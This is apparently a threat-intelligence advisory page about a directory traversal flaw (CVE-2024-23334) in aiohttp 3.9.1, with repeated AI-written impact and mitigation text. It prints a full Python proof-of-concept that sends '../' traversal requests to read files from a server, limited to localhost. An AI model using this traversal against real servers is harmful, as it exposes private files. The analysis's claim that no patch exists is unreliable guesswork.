aiohttp 3.9.1 - directory traversal PoC
A directory traversal vulnerability proof-of-concept (PoC) has been identified in aiohttp version 3. 9. 1, a popular asynchronous HTTP client/server framework for Python. This exploit allows an attacker to access files and directories outside the intended web root, potentially exposing sensitive information. The vulnerability does not currently have known exploits in the wild but includes publicly available Python exploit code. Exploitation requires sending crafted HTTP requests to vulnerable aiohttp servers, which may be used in various web applications and services. The impact includes unauthorized disclosure of confidential files, which can lead to further attacks or data breaches. European organizations using aiohttp 3. 9. 1 in their web infrastructure should prioritize patching or mitigating this issue.
AI Analysis
Technical Summary
The reported security threat concerns a directory traversal vulnerability in aiohttp version 3.9.1, an asynchronous HTTP framework widely used in Python web applications and services. Directory traversal vulnerabilities allow attackers to manipulate file path inputs to access files and directories outside the designated web root directory. This can lead to unauthorized disclosure of sensitive files such as configuration files, credentials, or source code. The proof-of-concept exploit demonstrates how crafted HTTP requests can traverse directories by exploiting insufficient input sanitization or path normalization in aiohttp 3.9.1. The exploit code is written in Python, indicating ease of integration into automated attack tools or penetration testing frameworks. Although no known active exploitation has been reported, the presence of public exploit code increases the risk of opportunistic attacks. aiohttp is commonly used in microservices, REST APIs, and asynchronous web servers, making this vulnerability relevant for a broad range of applications. The lack of a patch link suggests that a fix may not yet be publicly available, emphasizing the need for immediate mitigation. The vulnerability primarily impacts confidentiality by exposing files but could also affect integrity if attackers modify accessible files. The exploit does not require authentication or user interaction, increasing its risk profile. Given aiohttp’s popularity in Python web development, this vulnerability could affect numerous organizations globally, including those in Europe.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the confidentiality of sensitive data hosted on aiohttp-based web services. Unauthorized file access could expose critical configuration files, private keys, user data, or intellectual property, potentially leading to data breaches and compliance violations under GDPR. The integrity of systems could also be compromised if attackers gain access to modify files, although this is less likely without additional vulnerabilities. The availability impact is minimal unless attackers leverage the vulnerability to disrupt services indirectly. Organizations relying on aiohttp 3.9.1 in sectors such as finance, healthcare, government, and technology are particularly at risk due to the sensitivity of their data and regulatory requirements. The presence of publicly available Python exploit code lowers the barrier for exploitation, increasing the likelihood of attacks. European entities with limited patch management capabilities or those using custom aiohttp deployments may face higher exposure. The vulnerability could also be leveraged as a foothold for lateral movement within networks, amplifying its impact.
Mitigation Recommendations
European organizations should immediately audit their use of aiohttp to identify instances of version 3.9.1. Until an official patch is released, implement strict input validation and sanitization on all user-supplied path parameters to prevent directory traversal attempts. Employ web application firewalls (WAFs) with rules designed to detect and block directory traversal payloads. Restrict file system permissions for the aiohttp process to limit access to sensitive directories and files. Monitor server logs for unusual access patterns or attempts to access parent directories (e.g., ../ sequences). Consider deploying runtime application self-protection (RASP) solutions to detect exploitation attempts in real time. Plan for rapid deployment of patches once available from aiohttp maintainers. Conduct penetration testing to verify the effectiveness of mitigations. Educate developers on secure coding practices to avoid similar vulnerabilities in future aiohttp-based applications.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Finland, Italy, Spain
Indicators of Compromise
- exploit-code: # Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334) # Google Dork: N/A # Date: 2025-10-06 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.aiohttp.org / https://www.python.org # Software Link: https://github.com/aio-libs/aiohttp (vulnerable tag: 3.9.1) # Version: aiohttp 3.9.1 (vulnerable) # Tested on: Linux (host for Vulhub / Docker) and inside container VM: aiohttp 3.9.1 # CVE: CVE-2024-23334 # Description: # Proof-of-concept to verify directory-traversal behavior when aiohttp is configured # to serve static files with follow_symlinks=True (affects aiohttp <= 3.9.1). # This PoC is intentionally restricted to local testing and will refuse non-local targets. # Environment setup (Vulhub example): # 1. Obtain Vulhub and change to the aiohttp 3.9.1 directory: # cd vulhub/python/aiohttp/3.9.1 # 2. Start the vulnerable service: # docker compose up -d # 3. Verify the service is accessible on localhost:8080: # curl -v http://localhost:8080/ # should respond # # Prepare a safe probe file inside the container (non-sensitive): # 1. Identify the container name or ID with `docker ps`. # 2. Create a test token file inside the container: # docker exec -it <container> /bin/sh -c "echo 'POC-AIOHTTP-VULN-TEST' > /tmp/poc-aiohttp-test.txt && chmod 644 /tmp/poc-aiohttp-test.txt" # 3. Verify: # docker exec -it <container> /bin/sh -c "cat /tmp/poc-aiohttp-test.txt" # # should print: POC-AIOHTTP-VULN-TEST # # How to run this PoC (local only): # 1. Save this file as poc_aiohttp_cve-2024-23334.py # 2. Run it on the host that has access to the vulnerable container's localhost port: # python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8 # #!/usr/bin/env python3 """ Safe local-only PoC verifier for CVE-2024-23334 (aiohttp static follow_symlinks). This script will refuse to target any host other than localhost/127.0.0.1/::1. Example: python3 poc_aiohttp_cve-2024-23334.py --port 8080 --probe /tmp/poc-aiohttp-test.txt --depth 8 If the vulnerable server returns the probe file contents, the script prints the body and reports VULNERABLE. """ from __future__ import annotations import argparse import socket import sys import urllib.parse import http.client LOCAL_HOSTS = {"127.0.0.1", "localhost", "::1"} def is_localhost(host: str) -> bool: """Only allow local hosts to avoid misuse.""" return host in LOCAL_HOSTS def build_traversal_path(probe_path: str, depth: int = 8) -> str: """ Build a traversal-style path to append to /static/. Depth can be adjusted if the server root / static layout needs more ../ segments. """ probe = probe_path.lstrip("/") ups = "../" * depth return f"/static/{ups}{probe}" def try_connect(host: str, port: int, timeout: float = 3.0) -> bool: try: with socket.create_connection((host, port), timeout=timeout): return True except Exception: return False def send_get(host: str, port: int, path: str, timeout: float = 10.0): conn = http.client.HTTPConnection(host, port, timeout=timeout) try: conn.request("GET", path, headers={"User-Agent": "poc-aiohttp-check/1.0", "Accept": "*/*"}) resp = conn.getresponse() body = resp.read() return resp.status, body finally: try: conn.close() except Exception: pass def main(): parser = argparse.ArgumentParser(description="Local-only PoC verifier for aiohttp traversal (CVE-2024-23334).") parser.add_argument("--host", default="127.0.0.1", help="Target host (MUST be localhost).") parser.add_argument("--port", type=int, default=8080, help="Target port (default: 8080).") parser.add_argument("--probe", required=True, help="Absolute path on server to probe (e.g. /tmp/poc-aiohttp-test.txt).") parser.add_argument("--depth", type=int, default=8, help="Traversal depth (increase if needed).") parser.add_argument("--timeout", type=float, default=10.0, help="Request timeout seconds.") args = parser.parse_args() host = args.host.strip() port = int(args.port) if not is_localhost(host): print("ERROR: This PoC is restricted to localhost for safety. Use only in an isolated lab.", file=sys.stderr) sys.exit(2) # quick reachability check if not try_connect(host, port, timeout=3.0): print(f"ERROR: cannot reach {host}:{port}. Is the vulnerable server running and port exposed on localhost?", file=sys.stderr) sys.exit(3) path = build_traversal_path(args.probe, depth=args.depth) # encode path but keep slash and common safe chars path = urllib.parse.quote(path, safe="/?=&%") print(f"[*] Sending GET {path} to {host}:{port} (local lab only)") status, body = send_get(host, port, path, timeout=args.timeout) print(f"[+] HTTP {status}") if body: try: text = body.decode("utf-8", errors="replace") except Exception: text = repr(body) print("----- RESPONSE BODY START -----") print(text) print("----- RESPONSE BODY END -----") # heuristic: check for the expected test token if "POC-AIOHTTP-VULN-TEST" in text: print("[!] VULNERABLE: test token found in response (lab-confirmed).") sys.exit(0) else: print("[ ] Test token not found in response. The server may not be vulnerable or probe path/depth needs adjustment.") sys.exit(1) else: print("[ ] Empty response body.") sys.exit(1) if __name__ == "__main__": main()
aiohttp 3.9.1 - directory traversal PoC
Description
A directory traversal vulnerability proof-of-concept (PoC) has been identified in aiohttp version 3. 9. 1, a popular asynchronous HTTP client/server framework for Python. This exploit allows an attacker to access files and directories outside the intended web root, potentially exposing sensitive information. The vulnerability does not currently have known exploits in the wild but includes publicly available Python exploit code. Exploitation requires sending crafted HTTP requests to vulnerable aiohttp servers, which may be used in various web applications and services. The impact includes unauthorized disclosure of confidential files, which can lead to further attacks or data breaches. European organizations using aiohttp 3. 9. 1 in their web infrastructure should prioritize patching or mitigating this issue.
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a directory traversal vulnerability in aiohttp version 3.9.1, an asynchronous HTTP framework widely used in Python web applications and services. Directory traversal vulnerabilities allow attackers to manipulate file path inputs to access files and directories outside the designated web root directory. This can lead to unauthorized disclosure of sensitive files such as configuration files, credentials, or source code. The proof-of-concept exploit demonstrates how crafted HTTP requests can traverse directories by exploiting insufficient input sanitization or path normalization in aiohttp 3.9.1. The exploit code is written in Python, indicating ease of integration into automated attack tools or penetration testing frameworks. Although no known active exploitation has been reported, the presence of public exploit code increases the risk of opportunistic attacks. aiohttp is commonly used in microservices, REST APIs, and asynchronous web servers, making this vulnerability relevant for a broad range of applications. The lack of a patch link suggests that a fix may not yet be publicly available, emphasizing the need for immediate mitigation. The vulnerability primarily impacts confidentiality by exposing files but could also affect integrity if attackers modify accessible files. The exploit does not require authentication or user interaction, increasing its risk profile. Given aiohttp’s popularity in Python web development, this vulnerability could affect numerous organizations globally, including those in Europe.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the confidentiality of sensitive data hosted on aiohttp-based web services. Unauthorized file access could expose critical configuration files, private keys, user data, or intellectual property, potentially leading to data breaches and compliance violations under GDPR. The integrity of systems could also be compromised if attackers gain access to modify files, although this is less likely without additional vulnerabilities. The availability impact is minimal unless attackers leverage the vulnerability to disrupt services indirectly. Organizations relying on aiohttp 3.9.1 in sectors such as finance, healthcare, government, and technology are particularly at risk due to the sensitivity of their data and regulatory requirements. The presence of publicly available Python exploit code lowers the barrier for exploitation, increasing the likelihood of attacks. European entities with limited patch management capabilities or those using custom aiohttp deployments may face higher exposure. The vulnerability could also be leveraged as a foothold for lateral movement within networks, amplifying its impact.
Mitigation Recommendations
European organizations should immediately audit their use of aiohttp to identify instances of version 3.9.1. Until an official patch is released, implement strict input validation and sanitization on all user-supplied path parameters to prevent directory traversal attempts. Employ web application firewalls (WAFs) with rules designed to detect and block directory traversal payloads. Restrict file system permissions for the aiohttp process to limit access to sensitive directories and files. Monitor server logs for unusual access patterns or attempts to access parent directories (e.g., ../ sequences). Consider deploying runtime application self-protection (RASP) solutions to detect exploitation attempts in real time. Plan for rapid deployment of patches once available from aiohttp maintainers. Conduct penetration testing to verify the effectiveness of mitigations. Educate developers on secure coding practices to avoid similar vulnerabilities in future aiohttp-based applications.
Affected Countries
Technical Details
- Edb Id
- 52474
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for aiohttp 3.9.1 - directory traversal PoC
# Exploit Title: Python aiohttp directory traversal PoC (CVE-2024-23334) # Google Dork: N/A # Date: 2025-10-06 # Exploit Author: Beatriz Fresno Naumova # Vendor Homepage: https://www.aiohttp.org / https://www.python.org # Software Link: https://github.com/aio-libs/aiohttp (vulnerable tag: 3.9.1) # Version: aiohttp 3.9.1 (vulnerable) # Tested on: Linux (host for Vulhub / Docker) and inside container VM: aiohttp 3.9.1 # CVE: CVE-2024-23334 # Description: # Proof-of-concept to verify directory-tra... (5148 more characters)
Threat ID: 69845ddcf9fa50a62f0fd4a6
Added to database: 2/5/2026, 9:07:40 AM
Last enriched: 2/5/2026, 9:09:18 AM
Last updated: 2/5/2026, 6:44:46 PM
Views: 8
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